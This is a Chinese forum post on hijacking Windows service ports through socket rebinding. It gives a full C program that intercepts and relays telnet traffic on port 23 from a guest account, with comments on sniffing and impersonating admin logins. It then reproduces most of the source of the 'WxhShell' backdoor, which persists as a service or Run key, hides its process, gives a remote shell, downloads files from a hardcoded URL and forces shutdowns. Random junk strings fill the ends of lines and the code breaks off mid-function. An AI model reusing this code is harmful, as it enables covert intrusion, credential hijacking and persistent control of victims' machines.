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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1?FG3X 5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PD0&ep1h7G  
bN zb#P#hP  
  saddr.sin_family = AF_INET; D~ Y6%9  
l X+~;94  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i`r`Fj}-S-  
BL16?&RK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Nb&j?./  
3U{ mC}F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d ,98W=7  
/)Cfm1$ic  
  这意味着什么?意味着可以进行如下的攻击: VbvP!<8  
T3{~f  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /h+ W L  
dnoF)(d&Cm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K!&W}_@l  
'lA}E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oR2?$KF   
{k_\1t(/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `K.C>68  
x'x5tg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xj>P5\mW#  
fe/;U=te  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zY_J7,0g  
*O~y6|U?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ` 5Kg[nB:  
s;OGb{H7  
  #include `z(o01y  
  #include }h45j84)  
  #include <WZ{<'ajI  
  #include    2lpPN[~d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V&nB*U&s"  
  int main() ,Zn6T"[$  
  { *zrGrk:l  
  WORD wVersionRequested;  k;+TN9  
  DWORD ret; QX<n^W  
  WSADATA wsaData; K'Ywv@  
  BOOL val; Hp=BnN  
  SOCKADDR_IN saddr; 1]Xx {j<  
  SOCKADDR_IN scaddr; s`bGW1#io  
  int err; eavn.I8J  
  SOCKET s; %@Gy<t,  
  SOCKET sc; ):G%o  
  int caddsize; 6T$=(I <4  
  HANDLE mt; 0* F` h  
  DWORD tid;   f X[xZGV,  
  wVersionRequested = MAKEWORD( 2, 2 ); E,Rj;?  
  err = WSAStartup( wVersionRequested, &wsaData ); UF!qp  
  if ( err != 0 ) { d*d:-f~q  
  printf("error!WSAStartup failed!\n"); ,yGbMOV  
  return -1; +s}&'V^  
  } E,6|-V;?  
  saddr.sin_family = AF_INET; $M)i]ekm  
    U=~?ca  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *0>`XK$mWo  
MT~^wI0a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]!{S2x&"  
  saddr.sin_port = htons(23); ]M*`Y[5"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I:TbZ*vi~  
  { "Wg,]$IvU  
  printf("error!socket failed!\n"); :1*E5pX0n  
  return -1; $VHIU1JjZ  
  } -orRmn6}  
  val = TRUE; %@vF%   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2X\Pw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tC'E#2  
  { BwWSztJ+B  
  printf("error!setsockopt failed!\n"); MTtx|L\4  
  return -1; %JE>Z]  
  } xkDK5&V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $~b6H]"9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i`gM> q&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <4Gy~?  
VEh9N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lwf4ke  
  { / rc[HbNg.  
  ret=GetLastError(); }dzdx "  
  printf("error!bind failed!\n"); /*y5W-'d^  
  return -1; fG'~@'P~  
  } ^ 0YQlT98  
  listen(s,2); L=#NUNiXr  
  while(1) zfKO)Itd  
  { P$U" y/  
  caddsize = sizeof(scaddr); H\Qk U`b  
  //接受连接请求 W\zZ&*8$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); /Ot3[B  
  if(sc!=INVALID_SOCKET) @G2# Z  
  { zE/l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r"2lcNE  
  if(mt==NULL) X=#us7W}  
  { .3C::~:  
  printf("Thread Creat Failed!\n"); kZG.Id  
  break; d MR?pbD  
  } 33DP?nI}  
  } kC.!cPd  
  CloseHandle(mt); &qS%~h%2  
  } u$R5Q{H_  
  closesocket(s); 5c]:/9&  
  WSACleanup(); I/njyV)H  
  return 0; u"qVT9C$=  
  }   /8e}c`  
  DWORD WINAPI ClientThread(LPVOID lpParam) cRf F!EV  
  { X~jdOaq{F:  
  SOCKET ss = (SOCKET)lpParam; S#M8}+ZD,  
  SOCKET sc; ,5$G0  
  unsigned char buf[4096]; eY :"\c3  
  SOCKADDR_IN saddr; rByth,|  
  long num; vIJ5iLF  
  DWORD val; JhFn"(O  
  DWORD ret; -Rw3[4>@O"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 '* y(F*7+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j_2g*lQ7a  
  saddr.sin_family = AF_INET; TMMKRC1<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !=:>yWQ  
  saddr.sin_port = htons(23); \B4H0f  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) id:,\iJ  
  { yo#r^iAr  
  printf("error!socket failed!\n"); ] x)>q  
  return -1; {C 5:as  
  } eP]y\S*P  
  val = 100; 7.Y;nem:(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HZAT_  
  { 'l^Bb#)"  
  ret = GetLastError(); t?>}0\1  
  return -1; -E|"?  
  } QWOPCoUet  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <5E'`T  
  { ch8VJ^%Ra1  
  ret = GetLastError(); 4u iq'-  
  return -1; i6V$mhL  
  } 6#U~>r/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]!AS%D`  
  { FXBmatBck  
  printf("error!socket connect failed!\n"); "v:k5a(  
  closesocket(sc); (O J/u)W^  
  closesocket(ss); zU!{_Ao9  
  return -1; "yw{A%J  
  }  <)TIj6  
  while(1) qkhre3  
  { s8,YQ5-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o)5zvnu7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 twr{jdY9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /^xv1F{  
  num = recv(ss,buf,4096,0); ZFtR#r(~41  
  if(num>0) ~JT2el2W7p  
  send(sc,buf,num,0); 8~O#@hB~3  
  else if(num==0) I]eeV+U8W  
  break; x >ah,  
  num = recv(sc,buf,4096,0); P{)D_Bi  
  if(num>0) g*b`o87PI  
  send(ss,buf,num,0); - 2L(])t6  
  else if(num==0) (@} ^ 3jpT  
  break; z~h?"'  
  } =Oy&f:s  
  closesocket(ss); ?Vg~7Eu0  
  closesocket(sc); fSbLkd 9  
  return 0 ; j:cu;6|  
  }  t/t6o&  
#|E#Rkw!  
6ZI Pe~`  
========================================================== 01@ WU1IN  
p?$N[-W6-  
下边附上一个代码,,WXhSHELL YWn""8p;P  
68?&`/t  
========================================================== R_G2C@y*  
UUfM 7gq  
#include "stdafx.h" 4|_xz; i  
:? B4q#]N  
#include <stdio.h> *N$XQ{o  
#include <string.h> u;9iuc` *  
#include <windows.h> c{Z "'t7  
#include <winsock2.h> 0\!Bh^++1  
#include <winsvc.h> 7kV$O(4  
#include <urlmon.h> oA5Qk3b:  
5 b rM..  
#pragma comment (lib, "Ws2_32.lib") Kc[^Pu  
#pragma comment (lib, "urlmon.lib") OF<:BaRs/  
d"n>Q Tn\  
#define MAX_USER   100 // 最大客户端连接数 PV,Z@qm@^  
#define BUF_SOCK   200 // sock buffer PFpFqJ)Cs"  
#define KEY_BUFF   255 // 输入 buffer dsw^$R}   
E&J<qTH9  
#define REBOOT     0   // 重启 G)~>d/  
#define SHUTDOWN   1   // 关机 4Vi*Qa_,y  
=b$g_+  
#define DEF_PORT   5000 // 监听端口 7Z2D}O +  
w aniCE o  
#define REG_LEN     16   // 注册表键长度 m)6 6g]F+  
#define SVC_LEN     80   // NT服务名长度 ?H8w;Csq-  
4e>f}u 5  
// 从dll定义API ?&0CEfa?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >A D!)&c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x3Cn:F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8*8Y\"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e/Z{{FP%6  
6?}|@y^fb  
// wxhshell配置信息 ,9G'1%z,  
struct WSCFG { z#RwgSPw6  
  int ws_port;         // 监听端口 MX~h>v3_R4  
  char ws_passstr[REG_LEN]; // 口令 {G=>WAXo  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'KmM %tN  
  char ws_regname[REG_LEN]; // 注册表键名 7|=SZ+g  
  char ws_svcname[REG_LEN]; // 服务名 !Dc?9W!b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vULDKJNHX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EUt2 S_2P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z}J~X%}e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !Yo2P"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XC6|<pru  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I;jH'._k#  
br88b`L  
}; :@ &e~QP(  
2A  
// default Wxhshell configuration ~L&z? 'V  
struct WSCFG wscfg={DEF_PORT, |goBIp[  
    "xuhuanlingzhe", Ow?~+) 4  
    1, a?Fz&BE  
    "Wxhshell", 1y[~xxgE  
    "Wxhshell", R|Bi%q|4P  
            "WxhShell Service", t@lTA>;U@  
    "Wrsky Windows CmdShell Service", " AvEo  
    "Please Input Your Password: ", i8Be%y%y  
  1, A* qR<cp[  
  "http://www.wrsky.com/wxhshell.exe", rk=w~IZJ3  
  "Wxhshell.exe" OkQ< Sc   
    }; ?_{{iil  
TQt[he$O  
// 消息定义模块 d^?e*USh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |o eg'T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UBv#z&@[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I@N/Y{y#  
char *msg_ws_ext="\n\rExit."; w@P86'< v  
char *msg_ws_end="\n\rQuit."; -GL.8" c[  
char *msg_ws_boot="\n\rReboot..."; b6e 2a/x  
char *msg_ws_poff="\n\rShutdown..."; HHyN\  
char *msg_ws_down="\n\rSave to "; <AVWT+,  
}6u}?>S  
char *msg_ws_err="\n\rErr!"; 'GW~~UhdW  
char *msg_ws_ok="\n\rOK!"; M&Q&be84  
tWZ8(E$  
char ExeFile[MAX_PATH]; ow (YgM>t  
int nUser = 0; lnl>!z  
HANDLE handles[MAX_USER]; 8}oe))b  
int OsIsNt; -{L 7%j|R  
r8y,$Mv<)0  
SERVICE_STATUS       serviceStatus; 'h&>K,U?5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f 4K)Z e  
+tkm,>s  
// 函数声明 }rVLWt  
int Install(void); C]ho7qC  
int Uninstall(void); qzY:>>d'  
int DownloadFile(char *sURL, SOCKET wsh); 3 P\4K  
int Boot(int flag); J'#o6Ud  
void HideProc(void); JvT#Fxjk  
int GetOsVer(void); {IB4%,qT  
int Wxhshell(SOCKET wsl); P5XUzLV L  
void TalkWithClient(void *cs); 1(aib^!B  
int CmdShell(SOCKET sock); MkZoHzg}c  
int StartFromService(void); Xa}y.qH  
int StartWxhshell(LPSTR lpCmdLine); h _c11#  
j*VYUM@y1\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 29@m:=-}7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s*CBYzOm  
Ki :98a$  
// 数据结构和表定义 OpOR!  
SERVICE_TABLE_ENTRY DispatchTable[] = 5=<fJXf5y  
{ Jk<b#SZ[b  
{wscfg.ws_svcname, NTServiceMain}, sN[<{;K4  
{NULL, NULL} LD|T1 .  
}; *bcemH8f  
IQ#Kod;)  
// 自我安装 s?sr0HZ  
int Install(void) ayf;'1  
{ q|B.@Ng.  
  char svExeFile[MAX_PATH]; ?6[u\V  
  HKEY key; e oFM  
  strcpy(svExeFile,ExeFile); 7m(9|Y:Q.  
l>Zp#+I-  
// 如果是win9x系统,修改注册表设为自启动 @MH/e fW.  
if(!OsIsNt) { XX1Iw {o9:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w(%$~]h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0a$hK9BH  
  RegCloseKey(key); sBN4:8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B`%%,SLJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L@ N\8mf  
  RegCloseKey(key); Qmv8T ^+  
  return 0; :$^sI"hO  
    } >va9*pdJ  
  } OYfP!,+bn  
} _rUsb4r  
else { "y .(E7 6  
#=fd8}9  
// 如果是NT以上系统,安装为系统服务 7&dPrnQX=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "aGpC{  
if (schSCManager!=0) h_t<Jl  
{ o[G,~f\-  
  SC_HANDLE schService = CreateService P-N+  
  ( U,2\ TBz  
  schSCManager, b\"2O4K,)  
  wscfg.ws_svcname, F>q%~  
  wscfg.ws_svcdisp, B&lF! ]  
  SERVICE_ALL_ACCESS, }PzYt~Z`@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =H^^AG\}  
  SERVICE_AUTO_START, J {#C<C  
  SERVICE_ERROR_NORMAL, W-"FRTI4  
  svExeFile, P4"EvdV7  
  NULL, }'TZ)=t{J  
  NULL, '$CJZ`nt  
  NULL, {uO2m*JrI  
  NULL, ByXcs'  
  NULL JA?P jo  
  ); (Bfy   
  if (schService!=0) 1'J|yq  
  { w5&,AL:  
  CloseServiceHandle(schService); "j+=py`  
  CloseServiceHandle(schSCManager); ~ @s$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Q8rAsf 9  
  strcat(svExeFile,wscfg.ws_svcname); +(2mHS0_a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <7~+ehu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2fJ2o[v  
  RegCloseKey(key); SJI+$L\'  
  return 0; }qdGS<{  
    } kKSn^q L*  
  } $Xo_C_:B  
  CloseServiceHandle(schSCManager); \C E8S+Z%  
} .SSj=q4?  
} @y\M8C8  
J3=^ +/g  
return 1; \Mod4tQ  
} $zV[- d  
& AlX).  
// 自我卸载 a@WSIcX*W  
int Uninstall(void) 8h7z  
{ itIzs99j  
  HKEY key; :~]ha  
?)#}Nj<R  
if(!OsIsNt) { J\kv}v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "(#]H;!W  
  RegDeleteValue(key,wscfg.ws_regname); v.I>B3bEg  
  RegCloseKey(key); lo!_;`v=U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DW~< 8  
  RegDeleteValue(key,wscfg.ws_regname); > jvi7  
  RegCloseKey(key); 3YPoObY  
  return 0; CVBy&o"6A  
  } R`|GBVbv  
} [2cG 7A  
} sHulaX{  
else { b]U%|bp  
9ozUg,+Z|J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p2~MJ LK4  
if (schSCManager!=0) w;Na9tR  
{ 2s@<k1EdPl  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZMXIKN9BF#  
  if (schService!=0) JB= L\E}  
  { u=h/l!lR  
  if(DeleteService(schService)!=0) { +V6N/{^ 5  
  CloseServiceHandle(schService); %t^-Guz  
  CloseServiceHandle(schSCManager); $u./%JS  
  return 0; ]\<^rEU  
  } ?-0>Wbg  
  CloseServiceHandle(schService); @d Coh-Q3  
  } @'EU\Y\l  
  CloseServiceHandle(schSCManager); n +z5;'my  
} J0M7f]  
} *:3`$`\54  
( XoL,lJ  
return 1;  Ju#t^P  
} H:BWv08~5  
RE(R5n28,  
// 从指定url下载文件 u%vq<|~-  
int DownloadFile(char *sURL, SOCKET wsh) LCRZ<?O[|  
{ {?' DZR s  
  HRESULT hr; 2!b+}+:  
char seps[]= "/"; 8D U|j-I8  
char *token; 'J&$L c  
char *file; n`krK"Ii  
char myURL[MAX_PATH]; 4b B)t#  
char myFILE[MAX_PATH]; B6iH[dTy_  
@m[r0i0J"  
strcpy(myURL,sURL); 195m0'zda  
  token=strtok(myURL,seps); N%\!eHxy  
  while(token!=NULL) h$EH|9HAb  
  { {WJ+6!v  
    file=token; ;|f|d?Q\  
  token=strtok(NULL,seps); ^F `   
  } x 2\ ,n  
c} GH|i  
GetCurrentDirectory(MAX_PATH,myFILE); W"_")V=QBz  
strcat(myFILE, "\\"); V3NQij(  
strcat(myFILE, file); #,1Kum bG3  
  send(wsh,myFILE,strlen(myFILE),0); $Aw"?&d"  
send(wsh,"...",3,0); 2WRa@;Tj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .>0j<|~  
  if(hr==S_OK) ,=tPh4>  
return 0; `)5E_E3  
else 0m^(|=N-  
return 1; MV<2x7S  
1>1&NQ#}  
} Ap{p_~~iJ  
a'zf8id  
// 系统电源模块 =Vv"\p8  
int Boot(int flag) B'OUT2cgB  
{ I65W^b4y  
  HANDLE hToken; \s8j*  
  TOKEN_PRIVILEGES tkp; |gW>D=rkj  
FabzP_<b  
  if(OsIsNt) { +pcpb)VL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =1noT)gC R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j>(O1z 7  
    tkp.PrivilegeCount = 1; ) N*,cTE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0L_ JP9e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O9#8%p% )  
if(flag==REBOOT) { _s/ 5oRHA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v&p|9C@  
  return 0; v"VpE`z1#  
} }j^asuf~c  
else { ?CgqHmf\\(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '`#sOH  
  return 0; I'Dc9&2  
} f D<9k  
  } Fy^=LrH=D  
  else { LE!xj 0  
if(flag==REBOOT) { S: IhJQ4K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cRm+?/  
  return 0; $[L~X M  
} ALVHKL2  
else { \a+.~_iL|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5\MCk"R!  
  return 0; >YwvM=b"V  
} ztcV[{[g  
} p.1@4kgK&r  
6ge,2[PU  
return 1; /UP&TyZ  
} ;x/do?FbT  
KTr7z^  
// win9x进程隐藏模块 ?/Bp8q(  
void HideProc(void) )N4!zuSVf  
{ K( : NshM  
]W^F!p~eC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N?Byp&rqI<  
  if ( hKernel != NULL ) o gec6u}  
  { tI42]:z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -? _#Yttu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AI{Tw>hZ  
    FreeLibrary(hKernel); ;m<22@,E&  
  } d <{ >&  
{t<E*5N]a  
return; ~:`5Y"Av:  
} EDQKbTaPt  
!6Sr*a*5  
// 获取操作系统版本 ;L1Q"Hxh  
int GetOsVer(void) 37OU  
{ }H^h ~E  
  OSVERSIONINFO winfo; h0m+u}oP_H  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z'=8U@P'#  
  GetVersionEx(&winfo); lyY\P6 X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e[<vVe!  
  return 1; B 2p/  
  else gD}lDK6N  
  return 0; . V5Pr}"y  
} 1b^e4  
aQjs5RbP~  
// 客户端句柄模块 05o)Q &`  
int Wxhshell(SOCKET wsl) :G3PdQb^  
{ BC:d@  
  SOCKET wsh; [{iPosQWj  
  struct sockaddr_in client; w ]8+ OP  
  DWORD myID; oT7 6)O  
uX82q.u_y  
  while(nUser<MAX_USER) %.k~L  
{ Z3C]n,I  
  int nSize=sizeof(client); ,z4)A&F[c;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _"_ 21uB  
  if(wsh==INVALID_SOCKET) return 1; %r E:5)  
tuT>,BbR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3jSt&+  
if(handles[nUser]==0) I+08tXO  
  closesocket(wsh); pco:]3BF6  
else G>siyUh  
  nUser++; B*0TM+  
  } Y -yozt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #mT\B[4h  
l k~VvRq  
  return 0; &>nB@SQZ  
} |ry![\  
ZhqGUb  
// 关闭 socket (,nQ7,2EX  
void CloseIt(SOCKET wsh) k4N_Pa$}\  
{ E?v9c>c  
closesocket(wsh); ,> Ya%;h2k  
nUser--; [3K& cX}B  
ExitThread(0); pc/x&VY%  
} \#50; 8VJ  
~F [V  
// 客户端请求句柄 [ TX1\*W  
void TalkWithClient(void *cs) mafnkQU  
{ Z "mqH  
t=l@(%O 0_  
  SOCKET wsh=(SOCKET)cs; ^LI\W'K  
  char pwd[SVC_LEN]; o#Gf7.E8  
  char cmd[KEY_BUFF]; 6Qc *:(GE  
char chr[1]; ! 3 ;;6  
int i,j; Vs1H)T%  
1k)31GEQw  
  while (nUser < MAX_USER) { 83(-/ y  
Z;ze{Vb  
if(wscfg.ws_passstr) { v(0IQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'zJBp 9a%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p>ba6BDJT  
  //ZeroMemory(pwd,KEY_BUFF); 4h*c{do  
      i=0; oV/:T\Qn=  
  while(i<SVC_LEN) { H*.v*ro9_  
K#%@4]jO3  
  // 设置超时 =I.uf   
  fd_set FdRead; =67ab_V  
  struct timeval TimeOut; &0*7]Wo*  
  FD_ZERO(&FdRead); ]D.} /g  
  FD_SET(wsh,&FdRead); m~I@ q [  
  TimeOut.tv_sec=8; p=XEMVqm  
  TimeOut.tv_usec=0; (X?HuWTm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !We9T)e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *w#^`yeo  
QbJE+m5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }j)][{i*x  
  pwd=chr[0]; d[F3"b%  
  if(chr[0]==0xd || chr[0]==0xa) { E8/Pi>QW  
  pwd=0; BT^Im=A  
  break; qdPmTaak  
  } W-RqooEv  
  i++; lRANXM  
    } Vg^yjP{sv  
$6l^::U  
  // 如果是非法用户,关闭 socket N,bH@Q.Ci  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2^X<n{0N)  
} \b;z$P\+*  
qV#,]mX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &W8fEQwa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Mr_F^|  
 .: Zw6  
while(1) { lyS`X  
Fy*t[>  
  ZeroMemory(cmd,KEY_BUFF); `t7z LC^c  
wzj :PS  
      // 自动支持客户端 telnet标准   FrsXLUY  
  j=0; &c^tJ-s  
  while(j<KEY_BUFF) { V.e30u5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5yL\@7u`  
  cmd[j]=chr[0]; g [u*`]-;v  
  if(chr[0]==0xa || chr[0]==0xd) { {^.q6,l  
  cmd[j]=0; r,<p#4(>_  
  break; W5uC5C*,l  
  } bXz*g`=;  
  j++; );/p[Fd2]  
    } e +Ikw1y"f  
!lL~#l:F  
  // 下载文件 +ovT?CM o  
  if(strstr(cmd,"http://")) { R('\i/fy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'kSm}} y  
  if(DownloadFile(cmd,wsh)) s-4qK(ml-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >l b9j>  
  else W %1/: _  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |fB/hs \  
  } l h?[wc  
  else { D4T42L  
mhMTn*9  
    switch(cmd[0]) { Doe:m#aNj  
  ~bq w!rz  
  // 帮助 +3k.xP?QS  
  case '?': { ro+8d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uO((Mg  
    break; O!'gylj/  
  } {Ia1Wd8n  
  // 安装 Gb4p "3  
  case 'i': { J'%W_?wZ  
    if(Install()) z:8ieJ)C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o?d`o$  
    else L@S1C=-/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Zo{D |hW  
    break; n0FzDQt26  
    } ><C9PS@  
  // 卸载 ;> %wf3e  
  case 'r': { gSHN,8. `  
    if(Uninstall()) ,:{+-v(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' ,1[rWyc  
    else _4 YT2k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qoa&]]  
    break; /&E]qc*-p  
    } Uuktq)NU  
  // 显示 wxhshell 所在路径 I%jlM0ZUI"  
  case 'p': { ub2B!6f a  
    char svExeFile[MAX_PATH]; JkEITuTth  
    strcpy(svExeFile,"\n\r"); sD9OV6^{?K  
      strcat(svExeFile,ExeFile); g^{a;=  
        send(wsh,svExeFile,strlen(svExeFile),0); O<J<)_W)  
    break; l\TL=8u2c  
    } 6n\){dkZ~  
  // 重启 5~OKKSUmT  
  case 'b': { Jv8VM\ *  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VHLt, ?G  
    if(Boot(REBOOT)) yuhY )T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJin %:O  
    else { <r)5jf  
    closesocket(wsh); Zul@aS !  
    ExitThread(0); fjMmlp  
    } {*"\6 8e  
    break; N"7BV  
    } (_Th4'(@Y  
  // 关机 M}`T-"qf  
